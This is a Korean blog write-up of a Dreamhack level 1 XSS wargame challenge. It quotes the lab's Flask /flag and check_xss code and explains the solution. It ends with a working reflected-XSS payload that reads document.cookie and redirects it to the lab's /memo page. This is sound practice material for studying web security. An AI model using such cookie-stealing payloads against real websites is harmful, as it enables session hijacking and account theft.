본문 바로가기

SWUFORCE 워게임👊🏻

[Dreamhack] level 1 ; web ; xss -1

0. 접속하면 뜨는 화면

1. vuln (xss) page

2. memo

3. flag

 

4. 작성된 코드 분석

 

1) flag 엔드포인트 

@app.route("/flag", methods=["GET", "POST"])
def flag():
    if request.method == "GET":
        return render_template("flag.html")
    elif request.method == "POST":
        param = request.form.get("param")
        if not check_xss(param, {"name": "flag", "value": FLAG.strip()}):
            return '<script>alert("wrong??");history.go(-1);</script>'
        return '<script>alert("good");history.go(-1);</script>'

- POST 요청으로 param 값을 전송해야 함

- check_xss(param, {"name": "flag", "value": FLAG.strip()})을 호출하여 XSS가 발생하는지 검사

→ 만약 XSS가 성공하면 good 메시지를 반환함

- check_xss()는 read_url()을 이용해 Selenium을 사용해 봇이 실제로 브라우저에서 XSS 실행 여부를 확인함.

 

 

2) check_xss 함수

def check_xss(param, cookie={"name": "name", "value": "value"}):
    url = f"http://127.0.0.1:8000/vuln?param={urllib.parse.quote(param)}"
    return read_url(url, cookie)

- param을 /vuln?param=값에 전달하여 XSS가 발생하는지 확인

- 만약 XSS가 성공하면 /flag에서 "good"을 반환함

 

 

===> 정리

 

flag는 /flag 엔드포인트에서 check_xss로 넘겨주는 cookie에 있음

check_xss함수를 보면 사용자가 입력한 param 값을 127.0.0.1:8000 로컬 url에서 /vuln 엔드포인트에 url 주소 자체를 출력해줌. param 값에 자바스크립트 코드를 입력해 cookie 값을 탈취해야함.

 

/memo 엔드포인트에서 param 값을 memo.html에 렌더링해 사용자에게 보여줌을 알 수 있는데

따라서 memo에 찾고자 하는 플래그를 출력하기 위해 /memo 엔드포인트에 document.cookie 값을 memo에 저장해

이를 location.href의 url 주소로 넘겨주면 memo에서 플래그를 얻을 수 있음

 

http://127.0.0.1:8000/vuln?param=<script>location.href="/memo?memo="+document.cookie;</script>

입력 시 플래그가 memo에 출력됨

 

 

====> 한 줄 정리

 

플래그는 /flag의 쿠키 안에 있음
XSS(자바스크립트) 코드를 /vuln에 삽입하여 실행 가능
쿠키 값을 /memo에 저장해서 쉽게 볼 수 있음
이제 /memo 페이지를 확인하면 플래그를 얻을 수 있음

 

 

5. flag 획득

 

 

 

해결 완👊🏻